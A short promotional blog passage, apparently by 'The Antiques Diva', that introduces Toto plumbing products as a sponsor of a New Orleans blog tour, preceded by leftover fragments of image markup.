toto.jpg”>toto” src=”×109.jpg” alt=”” width=”210″ height=”76″ />” target=”_blank”>Toto –  Toto was Dorthy’s dog in the Wizard of Oz… er, wait, That’st he Wrong Toto!! I mean Toto TOTO is the world’s largest plumbing products manufacturer.  They offer a complete line of commercial and decorative plumbing fixtures and fittings, faucets, accessories, shower and flush valves, as well as lavatories, toilets and air baths.

This week as I report you LIVE from NEW ORLEANS  these SPONSORS will be key players in all we do!!!

Stay tuned for more #BlogTourNola coverage!!

Laissez les bonne temps roulez,

The Antiques Diva®

Goa India